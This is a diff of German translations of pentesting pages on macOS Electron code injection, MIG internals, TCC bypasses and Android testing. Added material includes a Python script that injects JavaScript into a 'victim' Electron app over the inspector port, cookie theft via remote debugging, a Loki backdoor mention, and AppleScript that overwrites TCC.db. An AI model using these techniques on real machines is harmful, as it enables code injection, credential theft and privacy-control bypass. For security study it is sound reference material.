+print(f"Found victim process (PID: {process.info['pid']}). Terminating...") +os.kill(process.info['pid'], 9) # Force kill the process +except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): +# Handle processes that might have terminated or are inaccessible +pass +os.system("open /Applications/victim.app --args --inspect-brk") + +async def bypass_protections(): +global CONTEXT_ID, NAME, UNIQUE_ID +print(f"Connecting to {INSPECT_URL} ...") + +async with websockets.connect(INSPECT_URL) as ws: +data = await send_cmd(ws, "Runtime.enable", get_first=True) +CONTEXT_ID = data["params"]["context"]["id"] +NAME = data["params"]["context"]["name"] +UNIQUE_ID = data["params"]["context"]["uniqueId"] + +sleep(1) + +await send_cmd(ws, "Debugger.enable", {"maxScriptsCacheSize": 10000000}) + +await send_cmd(ws, "Profiler.enable") + +await send_cmd(ws, "Debugger.setBlackboxPatterns", {"patterns": ["/node_modules/|/browser_components/"], "skipAnonnymous": False}) + +await send_cmd(ws, "Runtime.runIfWaitingForDebugger") + +await send_cmd(ws, "Runtime.executionContextCreated", get_first=False, params={"context": {"id": CONTEXT_ID, "origin": "", "name": NAME, "uniqueId": UNIQUE_ID, "auxData": {"isDefault": True}}}) + +code_to_inject = """process['argv'] = ['/Applications/victim.app/Contents/MacOS/victim']""" +await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression": code_to_inject, "uniqueContextId":UNIQUE_ID}) +print("Injected code to bypass protections") + + +async def js_payloads(): +global CONT, CONTEXT_ID, NAME, UNIQUE_ID + +print(f"Connecting to {INSPECT_URL} ...") + +async with websockets.connect(INSPECT_URL) as ws: +data = await send_cmd(ws, "Runtime.enable", get_first=True) +CONTEXT_ID = data["params"]["context"]["id"] +NAME = data["params"]["context"]["name"] +UNIQUE_ID = data["params"]["context"]["uniqueId"] +await send_cmd(ws, "Runtime.compileScript", get_first=False, params={"expression":JS_PAYLOADS,"sourceURL":"","persistScript":False,"executionContextId":1}) +await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression":JS_PAYLOADS,"objectGroup":"console","includeCommandLineAPI":True,"silent":False,"returnByValue":False,"generatePreview":True,"userGesture":False,"awaitPromise":False,"replMode":True,"allowUnsafeEvalBlockedByCSP":True,"uniqueContextId":UNIQUE_ID}) + + + +async def main(): +await monitor_victim() +sleep(3) +await get_debugger_url() +await bypass_protections() + +sleep(7) + +await js_payloads() + + + +async def send_cmd(ws, method, get_first=False, params={}): +""" +Send a command to the inspector and read until we get a response with matching "id". +""" +global CONT + +CONT += 1 + +# Send the command +await ws.send(json.dumps({"id": CONT, "method": method, "params": params})) +sleep(0.4) + +# Read messages until we get our command result +while True: +response = await ws.recv() +data = json.loads(response) + +# Print for debugging +print(f"[{method} / {CONT}] ->", data) + +if get_first: +return data + +# If this message is a response to our command (by matching "id"), break +if data.get("id") == CONT: +return data + +# Otherwise it's an event or unrelated message; keep reading + +if __name__ == "__main__": +asyncio.run(main()) +``` > [!CAUTION] > Wenn die Sicherung **`EnableNodeCliInspectArguments`** deaktiviert ist, wird die App **Node-Parameter** (wie `--inspect`) beim Start ignorieren, es sei denn, die Umgebungsvariable **`ELECTRON_RUN_AS_NODE`** ist gesetzt, die ebenfalls **ignoriert** wird, wenn die Sicherung **`RunAsNode`** deaktiviert ist. > -> Sie könnten jedoch immer noch den **Electron-Parameter `--remote-debugging-port=9229`** verwenden, aber die vorherige Payload wird nicht funktionieren, um andere Prozesse auszuführen. +> Sie können jedoch immer noch den **Electron-Parameter `--remote-debugging-port=9229`** verwenden, aber die vorherige Payload funktioniert nicht, um andere Prozesse auszuführen. Mit dem Parameter **`--remote-debugging-port=9222`** ist es möglich, einige Informationen aus der Electron-App zu stehlen, wie die **Historie** (mit GET-Befehlen) oder die **Cookies** des Browsers (da sie im Browser **entschlüsselt** sind und es einen **JSON-Endpunkt** gibt, der sie bereitstellt). @@ -169,9 +377,7 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}') print(ws.recv() ``` -In [**diesem Blogbeitrag**](https://hackerone.com/reports/1274695) wird dieses Debugging missbraucht, um einen headless chrome **willkürliche Dateien an willkürlichen Orten herunterzuladen**. - -### Injection aus der App Plist +### Injection from the App Plist Sie könnten diese Umgebungsvariable in einer plist missbrauchen, um Persistenz zu gewährleisten, indem Sie diese Schlüssel hinzufügen: ```xml @@ -194,11 +400,13 @@ Sie könnten diese Umgebungsvariable in einer plist missbrauchen, um Persistenz ## Run non JS Code -Die vorherigen Techniken ermöglichen es Ihnen, **JS-Code innerhalb des Prozesses der Electron-Anwendung auszuführen**. Denken Sie jedoch daran, dass die **Kindprozesse unter demselben Sandbox-Profil** wie die übergeordnete Anwendung ausgeführt werden und **ihre TCC-Berechtigungen erben**.\ -Daher, wenn Sie Berechtigungen ausnutzen möchten, um beispielsweise auf die Kamera oder das Mikrofon zuzugreifen, könnten Sie einfach **eine andere Binärdatei aus dem Prozess ausführen**. +Die vorherigen Techniken ermöglichen es Ihnen, **JS-Code innerhalb des Prozesses der Electron-Anwendung** auszuführen. Denken Sie jedoch daran, dass die **Kindprozesse unter demselben Sandbox-Profil** wie die übergeordnete Anwendung ausgeführt werden und **ihre TCC-Berechtigungen erben**.\ +Wenn Sie also Berechtigungen missbrauchen möchten, um beispielsweise auf die Kamera oder das Mikrofon zuzugreifen, könnten Sie einfach **eine andere Binärdatei aus dem Prozess heraus ausführen**. ## Automatic Injection +- [**electroniz3r**](https://github.com/r3ggi/electroniz3r) + Das Tool [**electroniz3r**](https://github.com/r3ggi/electroniz3r) kann leicht verwendet werden, um **anfällige Electron-Anwendungen** zu finden und Code in diese zu injizieren. Dieses Tool wird versuchen, die **`--inspect`**-Technik zu verwenden: Sie müssen es selbst kompilieren und können es so verwenden: @@ -237,7 +445,12 @@ You can now kill the app using `kill -9 57739` The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5 Shell binding requested. Check `nc 127.0.0.1 12345` ``` -## Referenzen +- [https://github.com/boku7/Loki](https://github.com/boku7/Loki) + +Loki wurde entwickelt, um Electron-Anwendungen zu backdooren, indem die JavaScript-Dateien der Anwendungen durch die Loki Command & Control JavaScript-Dateien ersetzt werden. + + +## References - [https://www.electronjs.org/docs/latest/tutorial/fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) - [https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md index 9e7a8ee6c..e32747e6d 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md @@ -4,7 +4,7 @@ ## Grundinformationen -MIG wurde entwickelt, um den **Prozess der Mach IPC** Codeerstellung zu **vereinfachen**. Es **generiert den benötigten Code** für Server und Client, um mit einer gegebenen Definition zu kommunizieren. Auch wenn der generierte Code unansehnlich ist, muss ein Entwickler ihn nur importieren, und sein Code wird viel einfacher sein als zuvor. +MIG wurde entwickelt, um **den Prozess der Mach IPC** Codeerstellung zu vereinfachen. Es **generiert den benötigten Code** für Server und Client, um mit einer gegebenen Definition zu kommunizieren. Auch wenn der generierte Code unübersichtlich ist, muss ein Entwickler ihn nur importieren, und sein Code wird viel einfacher sein als zuvor. Die Definition wird in der Interface Definition Language (IDL) mit der Erweiterung `.defs` angegeben. @@ -40,7 +40,7 @@ server_port : mach_port_t; n1 : uint32_t; n2 : uint32_t); ``` -Beachten Sie, dass das erste **Argument der Port ist, an den gebunden werden soll** und MIG **automatisch den Antwortport verwaltet** (es sei denn, `mig_get_reply_port()` wird im Client-Code aufgerufen). Darüber hinaus wird die **ID der Operationen** **sequentiell** beginnend mit der angegebenen Subsystem-ID sein (wenn eine Operation veraltet ist, wird sie gelöscht und `skip` wird verwendet, um ihre ID weiterhin zu verwenden). +Beachten Sie, dass das erste **Argument der Port ist, an den gebunden werden soll**, und MIG wird **automatisch den Antwortport verwalten** (es sei denn, `mig_get_reply_port()` wird im Client-Code aufgerufen). Darüber hinaus wird die **ID der Operationen** **sequentiell** beginnend mit der angegebenen Subsystem-ID sein (wenn eine Operation veraltet ist, wird sie gelöscht und `skip` wird verwendet, um ihre ID weiterhin zu verwenden). Verwenden Sie nun MIG, um den Server- und Client-Code zu generieren, der in der Lage ist, miteinander zu kommunizieren, um die Subtract-Funktion aufzurufen: ```bash @@ -52,7 +52,7 @@ Mehrere neue Dateien werden im aktuellen Verzeichnis erstellt. > Sie können ein komplexeres Beispiel in Ihrem System finden mit: `mdfind mach_port.defs`\ > Und Sie können es aus demselben Ordner wie die Datei kompilieren mit: `mig -DLIBSYSCALL_INTERFACE mach_ports.defs` -In den Dateien **`myipcServer.c`** und **`myipcServer.h`** finden Sie die Deklaration und Definition der Struktur **`SERVERPREFmyipc_subsystem`**, die im Grunde die Funktion definiert, die basierend auf der empfangenen Nachrichten-ID aufgerufen werden soll (wir haben eine Startnummer von 500 angegeben): +In den Dateien **`myipcServer.c`** und **`myipcServer.h`** finden Sie die Deklaration und Definition der Struktur **`SERVERPREFmyipc_subsystem`**, die im Wesentlichen die Funktion definiert, die basierend auf der empfangenen Nachrichten-ID aufgerufen werden soll (wir haben eine Startnummer von 500 angegeben): {{#tabs}} {{#tab name="myipcServer.c"}} @@ -108,7 +108,7 @@ In diesem Beispiel haben wir nur 1 Funktion in den Definitionen definiert, aber Wenn die Funktion eine **Antwort** senden sollte, würde die Funktion `mig_internal kern_return_t __MIG_check__Reply__` ebenfalls existieren. -Tatsächlich ist es möglich, diese Beziehung in der Struktur **`subsystem_to_name_map_myipc`** aus **`myipcServer.h`** (**`subsystem*to_name_map*\***`\*\* in anderen Dateien) zu identifizieren: +Tatsächlich ist es möglich, diese Beziehung in der Struktur **`subsystem_to_name_map_myipc`** aus **`myipcServer.h`** (**`subsystem*to_name_map*\***`** in anderen Dateien) zu identifizieren: ```c #ifndef subsystem_to_name_map_myipc #define subsystem_to_name_map_myipc \ @@ -132,7 +132,7 @@ mig_routine_t routine; OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0); OutHeadP->msgh_remote_port = InHeadP->msgh_reply_port; -/* Minimale Größe: routine() wird aktualisiert, wenn sie unterschiedlich ist */ +/* Minimale Größe: routine() wird sie aktualisieren, wenn sie unterschiedlich ist */ OutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t); OutHeadP->msgh_local_port = MACH_PORT_NULL; OutHeadP->msgh_id = InHeadP->msgh_id + 100; @@ -219,7 +219,7 @@ USERPREFSubtract(port, 40, 2); Der NDR_record wird von `libsystem_kernel.dylib` exportiert und ist eine Struktur, die es MIG ermöglicht, **Daten so zu transformieren, dass sie systemunabhängig sind**, da MIG ursprünglich für die Verwendung zwischen verschiedenen Systemen gedacht war (und nicht nur auf derselben Maschine). -Das ist interessant, weil das Vorhandensein von `_NDR_record` in einer Binärdatei als Abhängigkeit (`jtool2 -S | grep NDR` oder `nm`) bedeutet, dass die Binärdatei ein MIG-Client oder -Server ist. +Das ist interessant, weil, wenn `_NDR_record` in einer Binärdatei als Abhängigkeit gefunden wird (`jtool2 -S | grep NDR` oder `nm`), bedeutet das, dass die Binärdatei ein MIG-Client oder -Server ist. Darüber hinaus haben **MIG-Server** die Dispatch-Tabelle in `__DATA.__const` (oder in `__CONST.__constdata` im macOS-Kernel und `__DATA_CONST.__const` in anderen \*OS-Kernen). Dies kann mit **`jtool2`** ausgegeben werden. @@ -260,7 +260,7 @@ if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4 rax = *(int32_t *)(var_10 + 0x14); // Aufruf von sign_extend_64, der helfen kann, diese Funktion zu identifizieren // Dies speichert in rax den Zeiger auf den Aufruf, der aufgerufen werden muss -// Überprüfen der Verwendung der Adresse 0x100004040 (Funktionsadressenarray) +// Überprüfen der Verwendung der Adresse 0x100004040 (Array der Funktionsadressen) // 0x1f4 = 500 (die Start-ID) rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040); var_20 = rax; @@ -289,7 +289,7 @@ return rax; {{#endtab}} {{#tab name="myipc_server decompiled 2"}} -Dies ist die gleiche Funktion, die in einer anderen Hopper-Free-Version dekompiliert wurde: +Dies ist die gleiche Funktion, dekompiliert in einer anderen Hopper-Free-Version:
int _myipc_server(int arg0, int arg1) {
 r31 = r31 - 0x40;
@@ -332,8 +332,8 @@ if (CPU_FLAGS & NE) {
 r8 = 0x1;
 }
 }
-// Das gleiche if-else wie in der vorherigen Version
-// Überprüfen der Verwendung der Adresse 0x100004040 (Funktionsadressenarray)
+// Gleiches if-else wie in der vorherigen Version
+// Überprüfen der Verwendung der Adresse 0x100004040 (Array der Funktionsadressen)
                     if ((r8 & 0x1) == 0x0) {
                             *(var_18 + 0x18) = **0x100004000;
                             *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
@@ -365,7 +365,7 @@ return r0;
 {{#endtab}}
 {{#endtabs}}
 
-Tatsächlich, wenn Sie zur Funktion **`0x100004000`** gehen, finden Sie das Array von **`routine_descriptor`** Strukturen. Das erste Element der Struktur ist die **Adresse**, an der die **Funktion** implementiert ist, und die **Struktur benötigt 0x28 Bytes**, sodass Sie alle 0x28 Bytes (beginnend bei Byte 0) 8 Bytes erhalten können, und das wird die **Adresse der Funktion** sein, die aufgerufen wird:
+Tatsächlich, wenn Sie zur Funktion **`0x100004000`** gehen, finden Sie das Array von **`routine_descriptor`**-Strukturen. Das erste Element der Struktur ist die **Adresse**, an der die **Funktion** implementiert ist, und die **Struktur benötigt 0x28 Bytes**, sodass Sie alle 0x28 Bytes (beginnend bei Byte 0) 8 Bytes erhalten können, und das wird die **Adresse der Funktion** sein, die aufgerufen wird:
 
 
@@ -375,7 +375,7 @@ Diese Daten können [**mit diesem Hopper-Skript extrahiert werden**](https://git ### Debug -Der von MIG generierte Code ruft auch `kernel_debug` auf, um Protokolle über Operationen beim Eintritt und Austritt zu generieren. Es ist möglich, sie mit **`trace`** oder **`kdv`** zu überprüfen: `kdv all | grep MIG` +Der von MIG generierte Code ruft auch `kernel_debug` auf, um Protokolle über Operationen beim Ein- und Austritt zu generieren. Es ist möglich, sie mit **`trace`** oder **`kdv`** zu überprüfen: `kdv all | grep MIG` ## References diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md index ec7b06949..88f6c4eb2 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md @@ -10,9 +10,9 @@ Benutzer begegnen TCC, wenn Anwendungen Zugriff auf geschützte Funktionen anfor ![Ein Beispiel für eine TCC-Aufforderung](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855) -**TCC** wird von dem **Daemon** verwaltet, der sich in `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` befindet und in `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` konfiguriert ist (Registrierung des Mach-Dienstes `com.apple.tccd.system`). +**TCC** wird von dem **Daemon** verwaltet, der sich in `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` befindet und in `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` konfiguriert ist (registriert den mach-Dienst `com.apple.tccd.system`). -Es gibt einen **Benutzermodus tccd**, der pro angemeldetem Benutzer läuft und in `/System/Library/LaunchAgents/com.apple.tccd.plist` definiert ist, wobei die Mach-Dienste `com.apple.tccd` und `com.apple.usernotifications.delegate.com.apple.tccd` registriert sind. +Es gibt einen **Benutzermodus tccd**, der pro angemeldetem Benutzer läuft und in `/System/Library/LaunchAgents/com.apple.tccd.plist` definiert ist, der die mach-Dienste `com.apple.tccd` und `com.apple.usernotifications.delegate.com.apple.tccd` registriert. Hier sehen Sie den tccd, der als System und als Benutzer läuft: ```bash @@ -54,9 +54,9 @@ Die Erlaubnisse/Verweigerungen werden dann in einigen TCC-Datenbanken gespeicher > com.apple.rootless.storage.TCC > ``` > -> Benutzer können jedoch **Regeln löschen oder abfragen** mit dem **`tccutil`** Befehlszeilenwerkzeug. +> Benutzer können jedoch **Regeln löschen oder abfragen** mit dem **`tccutil`** Befehlszeilen-Dienstprogramm. -#### Abfrage der Datenbanken +#### Abfragen der Datenbanken {{#tabs}} {{#tab name="user DB"}} @@ -102,7 +102,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0; {{#endtabs}} > [!TIP] -> Durch die Überprüfung beider Datenbanken können Sie die Berechtigungen überprüfen, die eine App erlaubt hat, die sie verboten hat oder die sie nicht hat (sie wird danach fragen). +> Durch Überprüfung beider Datenbanken können Sie die Berechtigungen überprüfen, die eine App erlaubt, verboten hat oder nicht hat (sie wird danach fragen). - Der **`service`** ist die TCC **Berechtigungs**-String-Darstellung - Der **`client`** ist die **Bundle-ID** oder **Pfad zur Binärdatei** mit den Berechtigungen @@ -186,7 +186,7 @@ tccutil reset All ``` ### TCC-Signaturprüfungen -Die TCC **Datenbank** speichert die **Bundle-ID** der Anwendung, aber sie **speichert** auch **Informationen** über die **Signatur**, um sicherzustellen, dass die App, die um die Nutzung einer Berechtigung bittet, die richtige ist. +Die TCC **Datenbank** speichert die **Bundle-ID** der Anwendung, aber sie **speichert** auch **Informationen** über die **Signatur**, um **sicherzustellen**, dass die App, die um die Nutzung einer Berechtigung bittet, die richtige ist. ```bash # From sqlite sqlite> select service, client, hex(csreq) from access where auth_value=2; @@ -199,16 +199,16 @@ csreq -t -r /tmp/telegram_csreq.bin (anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram" ``` > [!WARNING] -> Daher können andere Anwendungen mit demselben Namen und Bundle-ID nicht auf die erteilten Berechtigungen zugreifen, die anderen Apps gewährt wurden. +> Daher können andere Anwendungen, die denselben Namen und dieselbe Bundle-ID verwenden, nicht auf die Berechtigungen zugreifen, die anderen Apps gewährt wurden. ### Berechtigungen & TCC-Berechtigungen -Apps **müssen nicht nur** **anfordern** und **erhaltenen Zugriff** auf einige Ressourcen haben, sie müssen auch **die relevanten Berechtigungen haben**.\ +Apps **müssen nicht nur** **anfordern** und **Zugriff** auf einige Ressourcen **gewährt bekommen**, sie müssen auch **die relevanten Berechtigungen haben**.\ Zum Beispiel hat **Telegram** die Berechtigung `com.apple.security.device.camera`, um **Zugriff auf die Kamera** zu beantragen. Eine **App**, die diese **Berechtigung nicht hat**, wird **nicht in der Lage sein**, auf die Kamera zuzugreifen (und der Benutzer wird nicht einmal nach den Berechtigungen gefragt). -Um jedoch auf **bestimmte Benutzerordner** wie `~/Desktop`, `~/Downloads` und `~/Documents` zuzugreifen, **müssen** sie keine spezifischen **Berechtigungen haben.** Das System wird den Zugriff transparent verwalten und **den Benutzer** nach Bedarf **auffordern**. +Um jedoch auf **bestimmte Benutzerordner** wie `~/Desktop`, `~/Downloads` und `~/Documents` **zuzugreifen**, müssen sie **keine spezifischen Berechtigungen haben.** Das System wird den Zugriff transparent verwalten und den **Benutzer bei Bedarf** auffordern. -Apples Apps **werden keine Aufforderungen generieren**. Sie enthalten **vorab erteilte Rechte** in ihrer **Berechtigungsliste**, was bedeutet, dass sie **niemals ein Popup generieren**, **noch** werden sie in einer der **TCC-Datenbanken** angezeigt. Zum Beispiel: +Apples Apps **werden keine Aufforderungen generieren**. Sie enthalten **vorab gewährte Rechte** in ihrer **Berechtigungsliste**, was bedeutet, dass sie **niemals ein Popup generieren** und **auch nicht** in einer der **TCC-Datenbanken** angezeigt werden. Zum Beispiel: ```bash codesign -dv --entitlements :- /System/Applications/Calendar.app [...] @@ -222,7 +222,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app Dies wird verhindern, dass der Kalender den Benutzer um Zugriff auf Erinnerungen, Kalender und das Adressbuch bittet. > [!TIP] -> Abgesehen von einigen offiziellen Dokumentationen über Berechtigungen ist es auch möglich, inoffizielle **interessante Informationen über Berechtigungen in** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl) zu finden. +> Abgesehen von einigen offiziellen Dokumentationen zu Berechtigungen ist es auch möglich, inoffizielle **interessante Informationen über Berechtigungen in** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl) zu finden. Einige TCC-Berechtigungen sind: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Es gibt keine öffentliche Liste, die alle definiert, aber Sie können diese [**Liste der bekannten**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service) einsehen. @@ -234,7 +234,7 @@ Einige TCC-Berechtigungen sind: kTCCServiceAppleEvents, kTCCServiceCalendar, kTC ### Benutzerabsicht / com.apple.macl -Wie bereits erwähnt, ist es möglich, **einer App Zugriff auf eine Datei zu gewähren, indem man sie per Drag & Drop darauf zieht**. Dieser Zugriff wird in keiner TCC-Datenbank angegeben, sondern als **erweiterte** **Eigenschaft der Datei** gespeichert. Diese Eigenschaft wird **die UUID** der erlaubten App **speichern**: +Wie bereits erwähnt, ist es möglich, **einer App Zugriff auf eine Datei zu gewähren, indem man sie hineinzieht und ablegt**. Dieser Zugriff wird in keiner TCC-Datenbank angegeben, sondern als **erweiterte** **Eigenschaft der Datei** gespeichert. Diese Eigenschaft wird **die UUID** der erlaubten App **speichern**: ```bash xattr Desktop/private.txt com.apple.macl @@ -250,17 +250,17 @@ otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| gr uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3 ``` > [!NOTE] -> Es ist interessant, dass das **`com.apple.macl`** Attribut von der **Sandbox** und nicht von tccd verwaltet wird. +> Es ist interessant, dass das **`com.apple.macl`** Attribut vom **Sandbox** verwaltet wird, nicht von tccd. > -> Beachten Sie auch, dass wenn Sie eine Datei, die die UUID einer App auf Ihrem Computer erlaubt, auf einen anderen Computer verschieben, die gleiche App unterschiedliche UIDs haben wird und daher keinen Zugriff auf diese App gewährt. +> Beachten Sie auch, dass wenn Sie eine Datei, die die UUID einer App auf Ihrem Computer erlaubt, auf einen anderen Computer verschieben, die gleiche App unterschiedliche UIDs haben wird und somit keinen Zugriff auf diese App gewährt. -Das erweiterte Attribut `com.apple.macl` **kann nicht gelöscht werden** wie andere erweiterte Attribute, da es **durch SIP geschützt ist**. Allerdings ist es möglich, es **zu deaktivieren**, indem man die Datei **zippt**, sie **löscht** und dann **entzippt**. +Das erweiterte Attribut `com.apple.macl` **kann nicht gelöscht werden** wie andere erweiterte Attribute, da es **durch SIP geschützt ist**. Allerdings ist es, wie [**in diesem Beitrag erklärt**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), möglich, es zu deaktivieren, indem man die Datei **zippt**, sie **löscht** und dann **entzippt**. ## TCC Privesc & Bypasses ### In TCC einfügen -Wenn Sie irgendwann Schreibzugriff auf eine TCC-Datenbank erhalten, können Sie etwas wie das Folgende verwenden, um einen Eintrag hinzuzufügen (entfernen Sie die Kommentare): +Wenn Sie irgendwann Schreibzugriff auf eine TCC-Datenbank erhalten, können Sie etwas wie das Folgende verwenden, um einen Eintrag hinzuzufügen (Kommentare entfernen):
@@ -322,12 +322,12 @@ Erfahren Sie mehr über Apple Events in: macos-apple-events.md {{#endref}} -### Automatisierung (Finder) zu FDA\* +### Automation (Finder) zu FDA\* Der TCC-Name der Automatisierungsberechtigung ist: **`kTCCServiceAppleEvents`**\ -Diese spezifische TCC-Berechtigung zeigt auch die **Anwendung an, die verwaltet werden kann** innerhalb der TCC-Datenbank (die Berechtigungen erlauben also nicht nur die Verwaltung von allem). +Diese spezifische TCC-Berechtigung zeigt auch die **Anwendung an, die innerhalb der TCC-Datenbank verwaltet werden kann** (die Berechtigungen erlauben also nicht nur die Verwaltung von allem). -**Finder** ist eine Anwendung, die **immer FDA hat** (auch wenn sie nicht in der Benutzeroberfläche erscheint), daher können Sie, wenn Sie **Automatisierungs**-Berechtigungen über sie haben, ihre Berechtigungen ausnutzen, um **einige Aktionen auszuführen**.\ +**Finder** ist eine Anwendung, die **immer FDA hat** (auch wenn sie nicht in der Benutzeroberfläche erscheint), sodass Sie, wenn Sie **Automatisierungs**-Berechtigungen darüber haben, diese Berechtigungen ausnutzen können, um **einige Aktionen auszuführen**.\ In diesem Fall benötigt Ihre App die Berechtigung **`kTCCServiceAppleEvents`** über **`com.apple.Finder`**. {{#tabs}} @@ -361,16 +361,16 @@ EOD Sie könnten dies missbrauchen, um **Ihre eigene Benutzer-TCC-Datenbank zu schreiben**. > [!WARNING] -> Mit dieser Berechtigung können Sie **Finder bitten, auf TCC-restriktive Ordner zuzugreifen** und Ihnen die Dateien zu geben, aber soweit ich weiß, **werden Sie Finder nicht dazu bringen können, beliebigen Code auszuführen**, um seinen FDA-Zugriff vollständig auszunutzen. +> Mit dieser Berechtigung können Sie **Finder auffordern, auf TCC-restriktive Ordner zuzugreifen** und Ihnen die Dateien zu geben, aber soweit ich weiß, **werden Sie Finder nicht dazu bringen können, beliebigen Code auszuführen**, um seinen FDA-Zugriff vollständig auszunutzen. > -> Daher werden Sie nicht in der Lage sein, die vollständigen FDA-Fähigkeiten auszunutzen. +> Daher werden Sie nicht in der Lage sein, die vollen FDA-Fähigkeiten auszunutzen. Dies ist die TCC-Aufforderung, um Automatisierungsprivilegien über Finder zu erhalten:
> [!CAUTION] -> Beachten Sie, dass die **Automator**-App die TCC-Berechtigung **`kTCCServiceAppleEvents`** hat, sodass sie **jede App steuern** kann, wie z. B. Finder. Wenn Sie also die Berechtigung haben, Automator zu steuern, könnten Sie auch den **Finder** mit einem Code wie dem folgenden steuern: +> Beachten Sie, dass die **Automator**-App die TCC-Berechtigung **`kTCCServiceAppleEvents`** hat, sodass sie **jede App steuern** kann, wie z. B. Finder. Wenn Sie die Berechtigung haben, Automator zu steuern, könnten Sie auch den **Finder** mit einem Code wie dem untenstehenden steuern:
@@ -442,11 +442,11 @@ EOD touch "$HOME/Desktop/file" rm "$HOME/Desktop/file" ``` -### Automatisierung (SE) + Barrierefreiheit (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** zu FDA\* +### Automation (SE) + Accessibility (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** zu FDA\* -Automatisierung auf **`System Events`** + Barrierefreiheit (**`kTCCServicePostEvent`**) ermöglicht das Senden von **Tasteneingaben an Prozesse**. Auf diese Weise könnten Sie den Finder missbrauchen, um die TCC.db des Benutzers zu ändern oder FDA an eine beliebige App zu gewähren (obwohl möglicherweise ein Passwort dafür angefordert wird). +Automatisierung auf **`System Events`** + Accessibility (**`kTCCServicePostEvent`**) ermöglicht das Senden von **Tasteneingaben an Prozesse**. Auf diese Weise könnten Sie den Finder missbrauchen, um die TCC.db der Benutzer zu ändern oder einer beliebigen App FDA zu gewähren (obwohl möglicherweise ein Passwort dafür abgefragt wird). -Beispiel für das Überschreiben der TCC.db des Benutzers durch den Finder: +Beispiel für das Überschreiben der TCC.db der Benutzer durch den Finder: ```applescript -- store the TCC.db file to copy in /tmp osascript < [!HINWEIS] -> Ab Android 4.4 (**API 17**) hat die SD-Karte eine Verzeichnisstruktur, die **den Zugriff einer App auf das Verzeichnis, das speziell für diese App vorgesehen ist, einschränkt**. Dies verhindert, dass bösartige Anwendungen Lese- oder Schreibzugriff auf die Dateien einer anderen App erhalten. +> Seit Android 4.4 (**API 17**) hat die SD-Karte eine Verzeichnisstruktur, die **den Zugriff einer App auf das Verzeichnis, das speziell für diese App vorgesehen ist, einschränkt**. Dies verhindert, dass bösartige Anwendungen Lese- oder Schreibzugriff auf die Dateien einer anderen App erhalten. **Sensible Daten im Klartext gespeichert** @@ -139,13 +139,13 @@ Aus irgendeinem Grund akzeptieren Entwickler manchmal alle Zertifikate, selbst w SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` -Eine gute Möglichkeit, dies zu testen, besteht darin, den Datenverkehr mit einem Proxy wie Burp zu erfassen, ohne das Burp CA-Zertifikat auf dem Gerät zu autorisieren. Außerdem können Sie mit Burp ein Zertifikat für einen anderen Hostnamen generieren und es verwenden. +Eine gute Möglichkeit, dies zu testen, besteht darin, den Datenverkehr mit einem Proxy wie Burp zu erfassen, ohne das Burp CA-Zertifikat auf dem Gerät zu autorisieren. Außerdem können Sie mit Burp ein Zertifikat für einen anderen Hostnamen generieren und verwenden. -### Gebrochene Kryptografie +### Defekte Kryptografie **Schlechte Schlüsselverwaltungsprozesse** -Einige Entwickler speichern sensible Daten im lokalen Speicher und verschlüsseln sie mit einem im Code hartcodierten/vorhersehbaren Schlüssel. Dies sollte nicht geschehen, da einige Reverse-Engineering-Aktivitäten Angreifern ermöglichen könnten, die vertraulichen Informationen zu extrahieren. +Einige Entwickler speichern sensible Daten im lokalen Speicher und verschlüsseln sie mit einem im Code hardcodierten/vorhersehbaren 